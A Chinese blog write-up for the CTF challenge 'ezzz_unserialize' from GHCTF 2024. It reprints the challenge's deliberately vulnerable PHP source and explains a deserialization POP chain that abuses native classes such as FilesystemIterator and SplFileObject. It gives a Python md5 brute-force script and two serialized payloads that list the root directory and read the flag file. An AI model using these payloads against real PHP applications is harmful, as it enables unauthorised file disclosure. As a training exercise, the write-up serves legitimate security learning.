当前位置: 首页 > news >正文

[GHCTF 2024 新生赛]ezzz_unserialize

源码:
<?php
/*** @Author: hey* @message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits.* Have fun and Good luck!!!*/
error_reporting(0);
class Sakura{public $apple;public $strawberry;public function __construct($a){$this -> apple = $a;}function __destruct(){echo $this -> apple;}public function __toString(){$new = $this -> strawberry;return $new();}}class NoNo {private $peach;public function __construct($string) {$this -> peach = $string;}public function __get($name) {$var = $this -> $name;$var[$name]();}
}class BasaraKing{public $orange;public $cherry;public $arg1;public function __call($arg1,$arg2){$function = $this -> orange;return $function();}public function __get($arg1){$this -> cherry -> ll2('b2');}}class UkyoTachibana{public $banana;public $mangosteen;public function __toString(){$long = @$this -> banana -> add();return $long;}public function __set($arg1,$arg2){if($this -> mangosteen -> tt2){echo "Sakura was the best!!!";}}
}class E{public $e;public function __get($arg1){array_walk($this, function ($Monday, $Tuesday) {$Wednesday = new $Tuesday($Monday);foreach($Wednesday as $Thursday){echo ($Thursday.'<br>');}});}
}class UesugiErii{protected $coconut;protected function addMe() {return "My time with Sakura was my happiest time".$this -> coconut;}public function __call($func, $args) {call_user_func([$this, $func."Me"], $args);}
}
class Heraclqs{public $grape;public $blueberry;public function __invoke(){if(md5(md5($this -> blueberry)) == 123) {return $this -> grape -> hey;}}
}class MaiSakatoku{public $Carambola;private $Kiwifruit;public function __set($name, $value){$this -> $name = $value;if ($this -> Kiwifruit = "Sakura"){strtolower($this-> Carambola);}}
}if(isset($_POST['GHCTF'])) {unserialize($_POST['GHCTF']);
} else {highlight_file(__FILE__);
}
array_walk函数

array_walk() 函数对数组中的每个元素应用用户自定义函数。

原生类的利用
一.可遍历目录类

DirectoryIterator
FilesystemIterator
GlobIterator 与上面略不同,该类可以通过模式匹配来寻找文件路径。

二.可读取文件类

SplFileObject 在此函数中,URL 可作为文件名,不过也要受到allow_url_fopen影响。

二.文件系统相关扩展

finfo 该类的构造函数finfo::__construct — 别名 finfo_open(),也可以读取文件。

pop链

E::__get -> Heraclqs::__invoke -> Sakura::__toString -> Sakura::__destruct
Heraclqs::__invoke中有一个弱比较

    public function __invoke(){if(md5(md5($this -> blueberry)) == 123) {return $this -> grape -> hey;}}

爆破以下即可

import hashlib
import itertools
import stringfor i in itertools.product(string.printable, repeat=3):s = ''.join(i)s1 = hashlib.md5(s.encode()).hexdigest()s2 = hashlib.md5(s1.encode()).hexdigest()if s2[:3] == '123':print(s)
playload1:
<?php
class Sakura{public $apple;public $strawberry;// function __destruct()// {//     echo $this -> apple;// }// public function __toString()// {//     $new = $this -> strawberry;//     return $new();// }
}class E{public $e;// public function __get($arg1){//     array_walk($this, function ($Monday, $Tuesday) {//         $Wednesday = new $Tuesday($Monday);//         foreach($Wednesday as $Thursday){//             echo ($Thursday.'<br>');//         }//     });// }
}class Heraclqs{public $grape;public $blueberry;// public function __invoke(){//     if(md5(md5($this -> blueberry)) == 123) {//         return $this -> grape -> hey;//     }// }
}$a1=new E;
$a1->FilesystemIterator='/';$a2=new Heraclqs;
$a2->blueberry='LLh';
$a2->grape=$a1;$a3=new Sakura;
$a3->strawberry=$a2;$a4=new Sakura;
$a4->apple=$a3;$s=serialize($a4);
echo $s;
?>
//O:6:"Sakura":2:{s:5:"apple";O:6:"Sakura":2:{s:5:"apple";N;s:10:"strawberry";O:8:"Heraclqs":2:{s:5:"grape";O:1:"E":2:{s:1:"e";N;s:18:"FilesystemIterator";s:1:"/";}s:9:"blueberry";s:3:"LLh";}}s:10:"strawberry";N;}

image.png

palyload2:
<?php
class Sakura{public $apple;public $strawberry;// function __destruct()// {//     echo $this -> apple;// }// public function __toString()// {//     $new = $this -> strawberry;//     return $new();// }
}class E{public $e;// public function __get($arg1){//     array_walk($this, function ($Monday, $Tuesday) {//         $Wednesday = new $Tuesday($Monday);//         foreach($Wednesday as $Thursday){//             echo ($Thursday.'<br>');//         }//     });// }
}class Heraclqs{public $grape;public $blueberry;// public function __invoke(){//     if(md5(md5($this -> blueberry)) == 123) {//         return $this -> grape -> hey;//     }// }
}$a1=new E;
$a1->SplFileObject='/1_ffffffflllllagggggg';$a2=new Heraclqs;
$a2->blueberry='LLh';
$a2->grape=$a1;$a3=new Sakura;
$a3->strawberry=$a2;$a4=new Sakura;
$a4->apple=$a3;$s=serialize($a4);
echo $s;
?>
//O:6:"Sakura":2:{s:5:"apple";O:6:"Sakura":2:{s:5:"apple";N;s:10:"strawberry";O:8:"Heraclqs":2:{s:5:"grape";O:1:"E":2:{s:1:"e";N;s:13:"SplFileObject";s:22:"/1_ffffffflllllagggggg";}s:9:"blueberry";s:3:"LLh";}}s:10:"strawberry";N;}

image.png

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 攻防世界 Web_python_template_injection(flask模版注入)
  • 网络安全应急响应信息收集利器-Eagle_Eye
  • Java中Collection集合和Map集合详解(进阶三)
  • sql注入之宽字节注入
  • WEB攻防-通用漏洞SQL注入-ACCESS一般注入与偏移注入
  • 【Scrapy】深入了解 Scrapy 中间件中的 process_spider_output 方法
  • Android 注解的语法原理和使用方法
  • 软设之代理模式
  • 【国内超大型智能算力中心建设白皮书 2024】_智算中心算力规划
  • lodop使用教程---ivx
  • docker 基础命令
  • 免费听书TV版v1.0.1
  • 31. 1049. 最后一块石头的重量 II, 494.目标和,474.一和零
  • 问题清除指南|Dell OptiPlex 7070 升级 win11 开启 TPM 2.0 教程
  • c#的几种通信
  • hexo+github搭建个人博客
  • Apache的80端口被占用以及访问时报错403
  • axios请求、和返回数据拦截,统一请求报错提示_012
  • conda常用的命令
  • fetch 从初识到应用
  • go语言学习初探(一)
  • Netty+SpringBoot+FastDFS+Html5实现聊天App(六)
  • react 代码优化(一) ——事件处理
  • Spring Cloud Feign的两种使用姿势
  • storm drpc实例
  • vue2.0开发聊天程序(四) 完整体验一次Vue开发(下)
  • vue从创建到完整的饿了么(11)组件的使用(svg图标及watch的简单使用)
  • XForms - 更强大的Form
  • 飞驰在Mesos的涡轮引擎上
  • 分布式事物理论与实践
  • 构造函数(constructor)与原型链(prototype)关系
  • 深入浅出webpack学习(1)--核心概念
  • 译米田引理
  • 在electron中实现跨域请求,无需更改服务器端设置
  • 在GitHub多个账号上使用不同的SSH的配置方法
  • 在Unity中实现一个简单的消息管理器
  • AI算硅基生命吗,为什么?
  • 如何在 Intellij IDEA 更高效地将应用部署到容器服务 Kubernetes ...
  • ​ubuntu下安装kvm虚拟机
  • #nginx配置案例
  • (6)STL算法之转换
  • (9)YOLO-Pose:使用对象关键点相似性损失增强多人姿态估计的增强版YOLO
  • (a /b)*c的值
  • (html5)在移动端input输入搜索项后 输入法下面为什么不想百度那样出现前往? 而我的出现的是换行...
  • (笔记)M1使用hombrew安装qemu
  • (第三期)书生大模型实战营——InternVL(冷笑话大师)部署微调实践
  • (二)Pytorch快速搭建神经网络模型实现气温预测回归(代码+详细注解)
  • (二十六)Java 数据结构
  • (附源码)spring boot公选课在线选课系统 毕业设计 142011
  • (附源码)ssm基于jsp高校选课系统 毕业设计 291627
  • (理论篇)httpmoudle和httphandler一览
  • (四)stm32之通信协议
  • (转)fock函数详解
  • (转)http协议
  • (转)大型网站的系统架构